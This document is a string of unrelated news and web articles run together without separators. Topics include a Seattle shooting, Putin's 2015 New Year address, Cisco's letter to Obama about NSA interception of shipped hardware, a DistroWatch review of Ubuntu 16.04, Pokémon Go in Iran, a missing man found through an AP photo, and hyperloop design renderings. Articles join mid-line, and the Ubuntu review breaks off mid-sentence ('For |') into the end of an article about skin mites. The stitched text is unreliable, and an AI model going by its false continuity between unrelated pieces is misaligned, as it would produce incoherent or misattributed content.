Gang unit detectives are investigating after a man was shot multiple times in the Capitol Hill neighborhood Sunday morning. Witnesses called 911 at 1:34 am reporting a man was shot at the intersection of 13 Ave and E. Olive St. Seattle Fire Department Medics took the man to Harborview Medical Center with life-threatening injuries. Officers spoke with several witnesses who said the suspect ran up to the victim, shot him several times, and then ran away. The witnesses said the suspect then got into a white SUV. The witnesses were unable to provide a detailed suspect description to detectives. Detectives are now asking anyone with information to please call the violent crime tip line at (206)233-5000.The annual New Year's address here, given in the waning moments of the old year, is usually a chance for the Russian president to list the country's accomplishments, recall the year's high points and wish everyone a happy holiday.
But as Russian President Vladimir Putin rang in 2015, his tone was decidedly more measured as he glossed over the bulk of geopolitical shifts Russia experienced or caused in the past year, and quietly warned the Russian people to brace for more hardships.
Remember that Crimea is ours, he said, and that the Olympics were a success – and thanks for sticking together through everything else. Please continue to do so.
Putin has managed to ride through a year of geopolitical ups and downs with his approval rating mostly intact at about 85 per cent in December.
But the bulk of 2014 has posed the greatest challenge yet to Putin's legacy, built on his reputation as a leader who brought prosperity back to Russia after difficult years of post-Soviet transition. In the past nine months – since the annexation of Crimea – Russia has witnessed its relations with the West deteriorate to levels of hostility not seen since before perestroika because of its involvement in Ukraine, its major industries all but locked out of the global lending markets, and the value of the ruble and the price of oil – exports of which form the bedrock of Russia's economy – erratically plummet.
"You'll recall that three or four months ago, everybody in Washington was convinced that President Putin was a genius," US President Barack Obama said in an interview that NPR broadcasted this week. "And he had outmaneuvered all of us and he had, you know, bullied and, you know, strategised his way into expanding Russian power."
"And today, you know, I'd sense that at least outside of Russia, maybe some people are thinking what Putin did wasn't so smart."
The events of 2014 have not only soured Russia's diplomatic relations abroad, but they also have refuelled the ambitions of a dormant opposition movement at home, members of which rallied outside the Kremlin to call for a new president on the eve of Putin's New Year's address. And just the day before Putin's taped address aired on television stations across the country at midnight Wednesday, Russia's finance minister forecasted harder times.
"We are going to have to use our safety cushion," Anton Siluanov said in an interview on state television station Rossiya 24, predicting that Russia would have to raise the legal limits on how much of the national reserve fund the state could spend in 2015 if it wanted to avoid rampant inflation and other economic shocks.
Siluanov warned that if a deluge of state spending couldn't right the economy in "just a year," Russia would have to undertake drastic budgeting changes.
"The time is coming when this must be tackled more seriously," he said.
Yet, dire warnings and developments have done little to inspire a public culture of reflection in Russia. Instead, many ordinary Russians – encouraged by authorities – have adopted a heightened patriotism, girding themselves for tougher times as a way of supporting their country when many here believe the world is against them.
Putin tapped such sentiments in his New Year's speech.
"Love for the motherland is one of the most powerful, uplifting feelings," he said. "The year will be what we make of it ourselves – however effectively, creatively and efficiently will depend on each of us."
"There is simply no other way," Putin continued. "And we need to accomplish, to realise all that we planned – for ourselves, for the sake of our children and for the sake of Russia."
And woe, apparently, to those who criticise Russia in what Putin called on 31 December "a time of trials."
Earlier that day, as the Kremlin was offering New Year's greetings to the various leaders and governments of the world, Russia's Foreign Ministry was issuing a particularly strongly worded warning to the United States and Europe to butt out of Russia's domestic affairs.
"Our Western partners should have to deal with what is happening in their homes," said Konstantin Dolgov, the Russian Foreign Ministry's human rights chief, listing among the United States' domestic problems the recently disclosed CIA torture abuses, the prisoners at Guantanamo Bay, the Ferguson protests – which Russian authorities and media have had a field day opining on – and the "murders of Russian foster children."
"If the West is offering us such standards of the rule of law, it is clearly not meant for us," Dolgov said.
Karoun Demirjian
The Washington Post
LEHTIKUVA / AFP PHOTO / RIANO VOSTI / ALEXEY DRUZHININnWo: The Revolution hits stores today on DVD and Blu-ray. Here’s a look at the artwork on the 3-Disc DVD version, with special thanks to Cesar Albino.
In the 1990s, one revolutionary movement, symbolized by three letters and forged by notorious rebels, painted the industry black & white. This BRAND NEW, never-before-seen documentary reveals the “too sweet” saga of the n.W.o.! Hear from members who were in it 4-Life, as well as stars who witnessed it up close and personal. From the hostile takeover of WCW, to the stunning defections, internal struggles and shocking resurgence in WWE, the complete story of the New World Order is finally told.
nWo: The Revolution is released today across the United States and you can grab your copy (DVD $16.99, Blu-ray $19.99) by clicking here.
Fans in UK and Europe – get it next week when buying now at Silvervision.co.uk.Cisco's CEO John Chambers has asked US president Barack Obama to consider new rules preventing agencies hijacking networking equipment at it moves through the supply chain — or risk undermining confidence in the multi-billion dollar US technology sector.
In a letter dated 15 May and published by Re/code on Sunday, Chambers responded to claims in a new book by journalist Glenn Greenwald that the National Security Agency (NSA) used "load stations" to implant spy beacons on servers and networking gear shipping from the US to particular customers. News reports included an image purportedly of staff from the NSA's Tailored Access Operations unwrapping a Cisco box.
Chambers, who said Cisco doesn't work with the government to weaken its own products, believes the intercepts pose a threat to trade and jobs across the US tech sector, and may leave its position in the industry "impaired".
"We ship out products from locations inside, as well as outside the United States, and if these allegations are true, these actions will undermine confidence in our industry and the ability of technology companies to deliver products globally," Chambers warned.
The letter comes as Cisco and other US tech companies face difficulties growing their businesses in developing economies. Ahead of its third quarter report, Cisco noted that its business in emerging markets declined overall by seven percent, with Brazil, Russia, India, and China collectively down 13 per cent.
As noted by ZDNet's Larry Dignan last week, the NSA's attacks on the supply chain threatens to harm international sales, push manufacturing outside the US, cost jobs, kill trust in US technology and the supply chain; and may ultimately cost the US its technology leadership.
To restore trust in US tech companies, Chambers wants the president to write a new code of conduct that strike a better balance between national security and companies’ abilities to meet customers' expectations of privacy.
"We simply cannot operate this way, our customers trust us to be able to deliver to their doorsteps products that meet the highest standards of integrity and security. That is why we need standards of conduct," Chambers wrote.
Chambers' letter followed a list of suggestions for surveillance reform aired last week by Cisco's general counsel Mark Chandler, which included that government agencies require a court order to withhold newly-discovered flaws from vendors. Governments should also not interfere with companies lawfully trying to deliver internet infrastructure to customers, he said.
Read more on this storyDistroWatch Weekly, Issue 659, 2 May 2016
Feature Story (by Joshua Allen Holm)
Ubuntu 16.04 LTS
It is always a big deal when Canonical releases a new long-term support version of Ubuntu. Despite Ubuntu's important place in the Linux distribution ecosystem, I should admit right off the bat that I am not a regular user of Ubuntu. I try out each new release of the desktop version Ubuntu and occasionally use Ubuntu Server, but I tend to use Fedora and CentOS for almost all of my daily desktop and server needs. Still, I've always been fascinated by what Canonical is doing with Ubuntu and their Unity desktop environment. Below, I take a look at Ubuntu 16.04 LTS and share my thoughts on the Unity desktop environment and the distribution as a whole.
Ubuntu 16.04 -- Running Unity from the live media
(full image size: 589kB, resolution: 1600x900 pixels)
After downloading the 1.4 GB ISO and copying it to a USB flash drive, I rebooted my computer and started Ubuntu 16.04 from the flash drive. I have to admit, I was extremely impressed by how quickly it started up. Even though I was using a fairly slow USB 2.0 drive, I had a fully working desktop ready to use in slightly less time than it takes for Fedora 23 to boot off the laptop's hard drive. The system was very responsive and used approximately 460MB of RAM with no applications running.
Ubuntu 16.04 -- Running virtual terminals
(full image size: 436kB, resolution: 1600x900 pixels)
Convinced that the distribution did not have any issues with my hardware, I installed Ubuntu 16.04 on my hard drive. The experience was exactly what I have come to expect from any distribution that uses the Ubiquity installer. The installation process is straight forward and easy to understand. There are a few tweaks to the installer compared to the version used in Ubuntu 15.10, but they are very minor.
What's New in Ubuntu 16.04 LTS
Ubuntu 16.04 is the sixth long-term release of the distribution, and like all of the previous LTS releases, tends to be fairly conservative in its changes. Beyond updated versions of applications and a newer Linux kernel (version 4.4), users of Ubuntu 15.10 will find only a few differences. In fact, most of the new features from the official announcement are server-focused technologies, though there are a few interesting new features for desktop users. Users upgrading from the previous LTS release will, of course, notice far more changes.
Many of the small changes are things that some people have been very vocal about on-line. The much reviled on-line search results in the dash feature now defaults to off instead of on. It is now possible to move the launcher from the left side of the screen to the bottom, but there is no setting to do so in the control panel. If you want to move the launcher, you will need to use Unity Tweak Tool or edit the setting directly using dconf. One other minor tweak is a setting to turn make it so that application menus are always visible instead of only being visible on mouse over.
Ubuntu 16.04 -- The Unity dash
(full image size: 482kB, resolution: 1600x900 pixels)
Beyond the little tweaks, Ubuntu 16.04 has a few other changes. Brasero (CD burning software) and Empathy (instant messaging software) are no longer installed by default. GNOME Calendar now serves as the default calendar application and is installed by default. One other interesting new addition is the inclusion of log off, restart, and shutdown in the dash's application search results. These entries allow the user to quickly perform that task just by searching for it. Of course, all the software has been updated to newer releases. Recent releases of Firefox, Thunderbird, and LibreOffice are included and plenty of other software is available in the repositories. Developers will find recent releases of many programming languages, including Python 3.5 and Go 1.6.
Ubuntu 16.04 -- Ubuntu Software
(full image size: 351kB, resolution: 1600x900 pixels)
Installing software is probably the most noticeable change in this new release of Ubuntu. The old Ubuntu Software Center has been replaced with Ubuntu Software, which is a re-branded version of GNOME Software. This change might take a little time to get used to for some people, but I found that Ubuntu Software performed much better than Ubuntu Software Center did in Ubuntu 15.10 on the same computer. An even bigger change than the transition to Ubuntu Software is the ability to install software using "snaps" instead of standard.deb packages. Snaps are basically containerize applications. While I found the command line interface for managing snaps easy to use, it is still too early to tell how significant the new feature will become.
The Unity Desktop
My preferred desktop environment is GNOME 3, so Unity is a somewhat familiar experience. With the application launcher on the left and a full screen interface for searching for applications, Unity is like GNOME 3's cousin. (Given the history of Unity's development, that is more than just an analogy.) There were plenty of similarities, but there were enough differences to make the experience interesting.
I tend to use GNOME 3 without any tweaks, unless I am using CentOS or Red Hat Enterprise Linux, where I use GNOME 3's Classic Mode, so I am accustomed to having to go into the Activities overview (or using keyboard shortcuts) to do most tasks. I do not mind this in the least, but having Unity's launcher always displayed was handy. It did take up a little screen real estate, but it was not too intrusive. Of course, there are options to hide and resize the launcher, so it can take up less space or only show when the cursor moves to left side of the screen. Given the massive amount of news coverage that the new, hidden, move the launcher to the bottom feature received in the lead up to the release of Ubuntu 16.04, I tried moving the launcher to the bottom, but I did not really like it. To each their own, but on a wide-screen display, I much prefer losing a little width instead of a little height.
Ubuntu 16.04 -- Exploring the Unity control panel
(full image size: 458kB, resolution: 1600x900 pixels)
While Unity does not have the plethora of customization options found in the GNOME 2 desktop Ubuntu used before developing Unity, I found the options available to be useful and a good balance between too many to the point of being overwhelming and too few. Sure there are only two colour themes (not counting high contrast), but Radiance and Ambience are both very nice looking. I slightly prefer Radiance, but either way, the themes help provide a unique Ubuntu experience and look-and-feel. The other options, like the choice to "Enable Workspaces" and "Add show desktop icon to the launcher" provide a nice option for customizing a user's workflow. A single screen might work for some, but others might want to use multiple desktops. Some people do not like Ubuntu's default setting being the simpler, single screen workflow, but I can understand the logic behind the decision.
The one thing I had a hard time adjusting to was having application menus at the top of the screen in the menu bar. I am sure I would get used to it if I used Ubuntu long term, but during my brief testing of Ubuntu 16.04 it was the one thing that really caused me to pause and very briefly think when I wanted to use the menus. Thankfully, there is the option to put the menus in the application's title bar and to make them always visible, so there are ways to change the default behaviour.
One other menu related issue that bothered me a little was the fact that Ubuntu's use of GNOME applications leads to somewhat inconsistent menus. GNOME uses a single application menu for most of its applications, and while Ubuntu has made an effort to change this behaviour back to the old style of File, Edit, etc. menus, this is not always done. Cheese, the webcam application, has a menu that is just labelled "Cheese". It is not a big deal, but it is an inconsistency. Hopefully as Ubuntu moves towards Unity 8 and convergence, new Ubuntu specific applications will emerge making the user experience even more cohesive.
Unity, just like my preferred GNOME 3 desktop environment, tends to be something users either love or hate (or love to hate). It does not feature the multitude of built-in window decoration and theming options that can be found in KDE, Xfce, and many of the other desktop environments. Unity has a limited set of options, but that limited set of options creates a consistent experience. I can understand that might not appeal to everyone, but I like it.
Final Thoughts
Ubuntu 16.04 is a very nice release. It will be supported until 2021, so it is an excellent choice for users looking for a desktop focused distribution with long term support. The constant update cycle on non-LTS Ubuntu releases and other distributions with short support windows can become tedious. Ubuntu 16.04 provides a nice remedy to constant distribution upgrades while still offering a pleasant and fully functional desktop experience. While I found Ubuntu 16.04 to be very stable, it seems like some others have not had the same experience. Cautious users might want to wait until Ubuntu 16.04.1 is released before upgrading from Ubuntu 15.10. Users of Ubuntu 14.04, the previous long term support release, will not even be prompted to upgrade until 16.04.1 is out, but now is a good time to check out the live media and see if it is worth it for them to make the upgrade. * * * * * Hardware used in this review
My physical test equipment for this review was an Acer TravelMate X483 laptop with the following specifications: Processor: Quad-core 1.5GHz Intel Core i3-2375M CPU
Storage: Seagate 500GB 5400 RPM hard drive
Memory: 4GB of RAM
Networking: Qualcomm Atheros AR9462 Wireless Network Adapter
Display: Intel HD Graphics 3000
Miscellaneous News (by Jesse Smith)
Linux Mint unveils new version of Cinnamon, Debian Wheezy gets long term support, Devuan releases beta, Sabayon supplies ARM images and NetBSD gains ASLR support
The Linux Mint team has announced the release of Cinnamon 3.0. The Cinnamon desktop environment is based on GTK 3 and offers a combination of modern conveniences with a traditional desktop layout. Some of the new features in Cinnamon 3.0 include " Window management improvements on tiling, mapping and unmapping windows, compositor's window groups and tracking of full screen windows. Improved out of the box touchpad support (edge-scrolling and two-finger-scrolling can now be configured independently and are both enabled by default). New accessibility and sound settings (both rewritten as native cinnamon-settings modules). Battery powered devices can be renamed. " The complete list of changes can be found in the project's blog post. Cinnamon 3.0 is likely to debut in the next major version of Linux Mint later this year. * * * * * The Debian project has announced that regular security support for Debian 7 "Wheezy" has reached its end. For people who wish to continue running Debian Wheezy, this version of Debian will be maintained by the Debian Long Term Support (LTS) Team. " As of 25 April, one year after the release of Debian 8, alias "Jessie", and nearly three years after the release of Debian 7, alias "Wheezy", regular security support for Wheezy comes to an end. The Debian Long Term Support (LTS) Team will take over security support. Information for users: Wheezy LTS will be supported from 26 April 2016 to 31 May 2018. For |
our health and immune systems."
For now, this is all speculation. But even if none of these ideas pay off, the story of Demodex is a reminder that we humans are home to a multitude of species.
Some, such as head lice and fleas, hop aboard occasionally, or only live on certain populations. Others, like Demodex and the microorganisms in our guts, are with all of us throughout our lives. Our bodies are seething with microorganisms: they make up 90% of our cells.
There is a simple lesson here. You are not just you: you are a walking, talking community, an entire ecosystem held within one body.PRAGUE (Reuters) - A British vote to leave the European Union would give a boost to separatist and nationalistic forces across the bloc, Czech Prime Minister Bohuslav Sobotka said on Friday.
Czech Republic's Prime Minister Bohuslav Sobotka speaks during a ceremony to sign bilateral agreements with Israeli Prime Minister Benjamin Netanyahu (not seen) in Jerusalem May 22, 2016. REUTERS/Ronen Zvulun
Sobotka also told the Reuters Eastern European Investment Summit that any easing of EU sanctions on Russia, introduced over Moscow’s role in the conflict in Ukraine, must be tied to implementation of a peace agreement.
Joining a chorus of European leaders including German Chancellor Angela Merkel and European Central Bank chief Mario Draghi, the Czech prime minister said the EU had done what it could to accommodate Britain’s wishes for special arrangements.
A vote to exit “would be a signal for separatists and also a certain signal for radical nationalists who have a program of breaking up the EU,” Sobotka said.
Opinion polls suggest Britons are almost equally split on whether to vote to leave the EU on June 23.
“I wish for Britain staying in the union and I think we as Europe have done the maximum for it by being able to agree and accept some demands of Great Britain,” Sobotka said.
European and British leaders agreed in February on measures giving Britain a special status in the bloc, aiming to avoid the uncertain repercussions of a vote to leave.
Sobotka said a Brexit vote could encourage breakaway groups in places such as Catalonia, which has long sought independence from Spain.
But he did not see a British exit adding to already widespread grumbling about the EU in central Europe, where some governments resisted pressure from Brussels to take in people fleeing war and poverty in the Middle East and Africa.
“I don’t think there will be another wave in central Europe, here refugees have played a role and handed populists and nationalists a relatively hefty amount of ammunition,” he said.
RUSSIA SANCTIONS TIED TO MINSK AGREEMENT
The EU must also decide whether to extend sanctions against Russia, adopted after the annexation of Crimea, which expire in July.
Sobotka said sanctions should only be lifted hand-in-hand with progress in meeting the Minsk peace agreement, a similar stance to that taken by Poland’s Deputy Foreign Minister Konrad Szymanski at the Reuters summit.
“Apart from a swap of prisoners, which is positive and encouraging, I do not see any other significant progress,” Sobotka said.
“That can of course change in several months and I would be glad if it changed. However Europe should respect some principles, and if we connected the economic sanctions with the Minsk agreements, we should keep that connection.”
The EU is trying to preserve unity on sanctions, which have been questioned by Hungary, Greece and Italy. An adviser to German Chancellor Angela Merkel said on Thursday it was “far to early” to discuss an easing of the sanctions.
Follow Reuters Summits on Twitter @Reuters_SummitsThe ADL’s stance, tweeted by the organization’s CEO Jonathan Greenblatt, was in line with plenty of Twitterers who started slamming the bit before the show’s cast made its goodnights.
“He managed to be offensive, insensitive & unfunny all at the same time Quite a feat,” wrote Greenblatt.
David’s monologue – watch it above – started out with the comic’s standard self-deprecation, joking about being a total loser during his single New York days. Then he pivoted to riskier territory – Hollywood’s recent flood of sexual harassment allegations.
“I couldn’t help but notice a very disturbing pattern emerging, which is that many of the predators are Jews,” said David, whose Curb Your Enthusiasm once included a plot about mistaking Survivor cast members with camp survivors, said. “I don’t like it when Jews are in the news for notorious reasons.”
“I know I consistently strive to be a good Jewish representative,” David said after a crude joke about Harvey Weinstein. “When people see me, I want them to say, ‘Oh, there goes a fine Jew.’”
Then he dove in head first.
“I’ve always been obsessed with women and often wondered, if I’d grown up in Poland when Hitler came to power, and was sent to a concentration camp, would I still be checking out women in the camp? I think I would.”
“Hey Shlomo, look at the one by barracks 8,” David continued. “Oh my God, is she gorgeous?!… I’d like to go up and say something to her.
“Of course, the problem is there are no good opening lines in a concentration camp: ‘How’s it going? They treating you OK? You know, if we ever get out of here, I’d like to take you out for some latkes.”Pokémon Go has become a worldwide phenomenon with over 30 million downloads since its release on July 6, 2016 in selected countries.
The game uses Google Maps data to superimpose characters from the Pokémon series into your geographic surroundings. As you walk, your smartphone uses GPS to track your position in the world, and it will know if you get close to one of these characters. You can then capture the character on your phone screen, train it, and then deploy it in the “augmented reality” battlefield that is Pokémon Go.
Despite the fact that the game is only available in certain places, the craze has drawn in many players from other countries, including Iran, who have used VPNs to download the game.
How has Iran — the country with one of the most restricted Internet environments in the world — reacted to Pokémon Go?
Finding Pokémon in Tehran is not easy
Many Iranian users have commented on the difficulty of finding Pokémon around cities such as Tehran. A Reddit user in Iran asked the Pokémon Go Reddit feed on 10 July if others have been locating creatures in Tehran.
Hi, I have a quick question. I'm in Iran right now and I was wondering if pokemon go will work? I'm in the middle of Tehran so it's a big city but I can't find any information if the app even works here. I have 4g mobile data but I haven't seen anything special on the map. Thanks
Respondents to the post theorized that the application is blocked, but others noted that they had occasionally come upon some characters, and even indicated Poke stops in Tehran parks or gardens in the city of Shiraz. One Twitter user reported finding Pokemon by the historic Blue Mosque in the city of Tabriz.
A neighbourhood with Pokemon in #Tabriz…Kabood Mosque.
Another Twitter user in the city of Karaj described feeling happy that Pokémon had given him an excuse to go outside and move.
امشب رفتم پوکمون شکار کردم, بازی باحالیه در کل :)) من که از جام تکون نمیخورم شب ها حداقل به بهانه این میرم یه دوری میزنم :)#PokemonGO — Erfan Besharat (@erbesharat) July 19, 2016
Tonight I went to hunt Pokemon, it's a very amusing game :)) at least I now have excuse to move since I barely do
A female Twitter user in Tehran jokingly complained that life has become difficult now that she has to hunt for Pokémon while being on the lookout for the country's morality police, who arrest and fine women for improper hejab.
خیلی سخته تو خیابون همزمان هم حواسم به پوکمون شکار کردن باشه هم مواظب باشم گشت ارشاد شکارم نکنه. سخت شده زندگی :)) — Narges (@nargesd) July 19, 2016
It's quite difficult to be in the streets and be focused on both hunting Pokémon and on the lookout that gasht ershad don't hunt me. Life has become hard :))
Notable Iranian game developer Mohammad Mehdi Behfarrad offered some deeper analysis on the appeal of the game, theorizing that it might not have broad appeal in Iran for a number of reasons, including the nation's unfamiliarity with the Pokémon series that has been around since 1995.
نکته اصلی درباره بازی پوکمون داستان اصلی پوکون است که از فضا و ویژگیهای داستانی آن به بهترین شکل در طراحی بازی استفاده شده است. به تعبیر دیگر داستان واقعی شکلگیری پوکمون در قالب تکنولوژی AR تبدیل به یک بازی سرگرمکننده شده است که طبیعتا برای مخاطبان هم جذاب است. آدمها اساسا به دنبال تجربههای تازه هستند و طبیعتا در کنار هم قرار گرفتن این ظرفیتها توسط کمپانی معتبری همچون نینتندو تبدیل به یک اتفاق میشود…از آنجا که داستان اصلی پوکمون خیلی در ایران شناخته شده نیست، شاید سرعت برقراری ارتباط مخاطب ایرانی با این بازی مانند نمونههای دیگری مانند.
The main point about the Pokemon is the story and the best usage of the features of the story in the AR [augmented reality] structure of the game. On the other hand the conversion of the story into this new entertaining technology is what attracts the masses. People are looking to new experiences and naturally when this comes together with a reputable company like Nintendo in this capacity it turns into an event…From knowing that the main Pokemon story is not very known in Iran, it may not have the same speed in connecting with the Iranian players.
Will Pokémon meet authorities’ demands?
Authorities have also commented on the game. Hasan Karimi Ghodosi, the director of the National Foundation for Computer Games (NFCG), said that he has been in talks with the game's developers. In the past, the NFCG has issued bans on games such as “1979 Revolution” a game depicting struggles of resistors of the 1979 Islamic Revolution, as well as “Battlefield 3” a game that involved a US military invasion of Tehran.
Ghodosi explained to Mehr News Agency (an organisation owned by the Islamic Dissemination Organisation) on July 17 that the status of the game in Iran would depend on the game developer's cooperation with authorities.
درباره بازی پوکمون ما یک مکاتبه ایمیلی با سازندگان این بازی داشتهایم با این مضمون که اگر قرار است این بازی در ایران توزیع و عرضه شود حتماً باید از فیلتر بنیاد ملی بازیهای رایانهای بگذرد و هماهنگیهای لازم در این زمینه صورت گرفته باشد و در غیر این صورت ناگزیر از فیلتر و جلوگیری از عرضه بازی هستیم.
We had a communication through email with the developers of Pokemon Go and with the issue that if the game wants to come to the Iranian market it has to pass through the filtering of the National Foundation of Computer Games along with their cooperation, otherwise we have to filter and block this game in our market.
He further explained that the NFCG already had two conditions for the developer's of the game, which they had not communicated to them yet. These include keeping the game's data servers inside of Iran, as well as cooperating with the government to prohibit the game from targeting locations that could be of national security concerns.
The request to host servers inside the country might be seen as an extension of the demand from this past May by the Supreme Council of Cyberspace to all foreign messaging companies that they have a year to move the data they hold on Iranians onto servers inside the country or face censorship.
برای عرضه این بازی دو شرط را مدنظر داریم که البته هنوز به صورت رسمی به سازندگان بازی اعلام نشده؛ یکی اینکه باتوجه به حجم اطلاعات ثبت شده کاربران در فضای این بازی، سرور اصلی آن حتماً باید در ایران باشد و دوم اینکه نقاط تفریحی و مقاصد هدفگذاری شده در سراسر کشور برای تگ شدن در این بازی هم باید با هماهنگی و همکاری بنیاد مشخص شود. نباید نقاطی برای کاربر معین شود که از لحاظ موازین و قوانین کشور منعی برای حضور کاربر در آنجا وجود داشته باشد. مانند مراکز نظامی و امنیتی.
اگر سازندگان این بازی به دنبال ورود رسمی به ایران هستند باید این موارد را مدنظر داشته باشند اما با توجه به نامهنگاریای که داشتیم آنچه از واکنش آنها برمیآمد به صورتی بود که احساس نمیکنیم در شرایط فعلی برنامهای برای ورود به ایران داشته باشند. بازار بازیهای رایانهای ایران همچنان برای بازِیسازان و شرکتهای جهانی یک بازار پیچیده و ناشناخته است و به همین دلیل کمتر به دنبال ورود به آن هستند، به خصوص که درباره این بازی در همین محدوده فعلی بازار عرضه هم سازندگانش سود سرشاری را عاید خود کردهاند.
To supply this game in the country, we have two conditions that are not formally announced to the original game makers. Firstly, with attention to the information users register within the game, the original server has to be located in Iran and second all the targetted locations in the game for tagging around the country has to be coordinated and cooperated with the National Foundation of Computer Games. There should not be locations that users are prohibited to be in, like the military or national security locations. If the game makers want to officially enter the Iranian market they have to comply with our rules but from their correspondence we see that they don’t have any plans to enter the Iranian market. Iran’s gaming market is a complicated market for developers and global companies and for this reason they are not looking into entering our market.
The director of the NFCG himself recognized that Pokémon Go's developer's were unlikely to cooperate with their demands, and would continue to operate as they have been inside of Iran for the past few weeks, with downloads through VPNs, which are ubiquitous in Iran.Don’t be surprised if someone asks if you’ve heard the new show at MoMA. The Museum of Modern Art has chosen sound as the subject of a major exhibition.
Barbara London, the museum’s associate curator in the media and performance art department, has spent the last few years listening to the work of sound artists and looking at related scores, drawings and installations. Her findings will be the subject of “Soundings: A Contemporary Score,” the museum’s first big show devoted exclusively to sound art.
“Sound has come into the limelight,” Ms. London said. “It’s getting recognized as a frontier.” Technology is an obvious reason. “There are more tools that are easier and less expensive to use these days,” she said. “And because of these tools there is more artistic freedom.”
The show, running Aug. 10 to Nov. 3, will feature work by 16 artists, most of them little known to the public. They are young, ranging in age from the early 30s to the mid-40s, and international, coming from the United States, Uruguay, Norway, Denmark, Britain, Germany, Australia, Japan and Taiwan.In the video we made for the MediaGoblin campaign, there’s a part of the video which says: “What would happen if YouTube went away? What would happen to cat videos on the internet? It would be like a cat massacre.” People seem to really respond to this part of the video, which is good (though they usually ask me how we resisted the pun “cat-astrophe”… I guess with the title of this blogpost, we finally gave in). And every now and then we get a reminder that this isn’t just a vague possibility: these things can… and do… really happen.
Today, for a few minutes, YouTube went down. For a brief moment in time, millions of cat voices cried out in terror and were suddenly silenced. Now, granted, they came back a few minutes later. But within the same short interval that I heard about YouTube going down, various programmer friends of mine started complaining that they couldn’t get any work done because GitHub also went down due to a DDOS attack.
Is this because YouTube or GitHub are badly run, or that the companies that run them are inherently evil? No, I don’t think so. But there is a structural problem, one that’s the case with any major centralized service: when that service goes out, it takes everything it hosts out with it. This is a reminder that these types of institutions, even when run by brilliant and wonderful people, have inherent flaws as they become large, centralized behemoths. Even the nicest, most well run of centralized behemoths can fall. And will.
And as we point out on the campaign page, it’s entirely possible that your favorite large, centralized service could go away permanently. In fact, some day it probably will. Geocities might have seemed like a joke to everyone by the time it disappeared, but in 2000 it seemed like a huge institution that would never go away… but then it did. Maybe some day YouTube or Flickr will cease to be profitable, and then those will go away. It could happen… it nearly happened to Google Video.
What’s the cure? Bring the web back to be a decentralized place, the way it was intended to be. This isn’t an easy task, though: services are getting larger and more complicated, and need a lot of special expertise to get them working properly. The good news: we are already working toward that future. Could you help us out?
Thanks for all you do,
— The MediaGoblin teamCLOSE In an amazing twist of fate, one family's prayers have been answered. A missing man has been found, thanks to an Associated Press photo published by USA Today. VPC
Nick warms himself on a steam grate with three other homeless men by the Federal Trade Commission, just blocks from the Capitol, during frigid temperatures in Washington on Jan. 4, 2014. (Photo11: Jacquelyn Martin, AP) Story Highlights Family members recognized their relative in an AP photo of a cold homeless man
They had last seem him on New Year's Day
The AP photographer who took the picture helped them locate him
They say a picture is worth a thousand words. For one New York family, it was the answer to a thousand prayers.
A man missing since Wednesday was located in Washington, D.C., after his photo appeared in a Rochester, N.Y., edition of USA TODAY.
Nicholas A. Simmons, 20, was last seen leaving his home in Greece, a suburb of Rochester, on New Year's Day. Family members began a search for him by contacting local news media and posting on Facebook.
In a strange twist, family members told local police they saw a man in a photograph published by USA TODAY in Sunday's Democrat and Chronicle who looked like Simmons.
The Associated Press photo ran with coverage of cold weather sweeping across the country. The caption identified a homeless man named "Nick" wrapped in a blanket just blocks from the U.S. Capitol on Saturday.
Sunday night, Greece police said they contacted police in Washington, who located Simmons.
"Simmons was taken to George Washington University Hospital as a precaution," according to a press release from police.
The photo had sparked a buzz on social media earlier in the day, as relatives of Simmons expressed elation, astonishment and determination on a public Facebook page that appears to have since been dismantled.
"Nick is alive and obviously not well," read one post by Simmons' mother, Michelle Simmons, hours before her son was found. "(We) are going to get him home safe and this is by far the greatest example of God's love and divine intervention I have ever experienced."
"I am beyond able to put into words how I am feeling."
Reached at home about an hour before police publicly confirmed Simmons had been found, Michelle Simmons declined to comment, saying that her family would speak at a later time. After police confirmed Simmons had been found, a woman at the residence said over the telephone that no one from the family was available to comment.
The photo was taken by AP photographer Jacquelyn Martin. She spotted Simmons in a huddle of homeless men. He wore a ski jacket and was wrapped in a thick gray blanket. She said she was struck by how young he looked.
"I introduced myself and shook his hand and he would only say that his name was 'Nick,'" Martin said in an interview. "I told him that if I could write his whole name in the photo sometimes it could help him connect with family and he said, 'No, I'm OK, but you can just write that my name is Nick.'"
The next day, Martin received a message via Twitter from USA TODAY reporter Natalie DiBlasio, whose story about the frigid temperatures was illustrated with Martin's photo.
DiBlasio had contacted Martin after receiving a tweet from Simmons' sister, Hannah Simmons, at 10:50 a.m. that read: "please contact me. you wrote an article for USA today that features a picture of my missing brother."
DiBlasio put Michelle Simmons in touch with Martin, whom would later guide longtime Simmons family friends from Fairfax Station, Va., to the spot outside the Federal Trade Commission building where she had taken the photograph.
The family friends, Peter and Cindy Gugino, and Martin eventually found Simmons, and police later picked him up.
"It's very easy to put people in a box and to forget that these are real people who have families who love them and are worried about them," said Martin, who hails from Syracuse, N.Y., and is coincidentally a 2001 graduate of Rochester Institute of Technology. "An experience like this really reminds you that every person has a story."
Simmons was reunited with his father, Paul, and brother, Paul Simmons Jr., at the hospital.
Greece police, who publicized Simmons' disappearance late last week, said there were no leads in the case until the publication of the photo.
"It was pure dumb luck how all this happened," Greece police Sgt. David Mancuso, the lead investigator, told the Associated Press. "It's truly a miracle."
To comprehend the odds of something like this happening, consider that Simmons' photo had been selected by USA TODAY from the Associated Press wire, which carries thousands of photos at any given time and often offers news outlets that subscribe to the service several different images of the same event to illustrate news stories.
In this case, the Associated Press wire moved 126 photos depicting frigid conditions from across the country. Three of them were of Simmons, but only in one of them could his face been clearly seen.
Read or Share this story: http://usat.ly/1dnMh9Sargo design envisions the hyperloop travel experience
the hyperloop is a conceptual high speed transportation system put forward by spaceX and tesla motors founder elon musk, that incorporates tubes in which pressurized capsules ride on an air cushion driven by linear induction motors and air compressors. mr. musk released the idea to the public in august 2013, in a 57 page document for others to further evolve the ‘hyperloop’. through spaceX, the entrepreneur plans to construct a test track in texas to accelerate development of a functional prototype.
with that argo design released a series of conceptual renderings to show what the ‘hyperloop’ terminals, platforms, capsules and capsule interiors would look like to the public.
the coach capsule / all images courtesy of argo design
‘from trains to cars to airplanes, there’s always been a certain romance associated with modern travel,’ describes mark rolston, founder and chief creative officer at argo design. ‘we wanted to explore how the hyperloop could take shape as a delightful and memorable experience for travelers.’ the creative concepts contain four removable capsules for carrying passengers, vehicles and cargo. when ready, the capsules are fastened to the ‘hyperloop’ sled.
the executive meeting capsule
they incorporate a multi platform layout that allows for specific cargo types, for example, one platform for passengers and a lower one for maintenance and loading of vehicles. each capsule would be assembled in a line, using a lift between platforms. there would be five types of capsules: vehicle, cargo, executive meeting capsule, business work capsule, and a coach capsule.
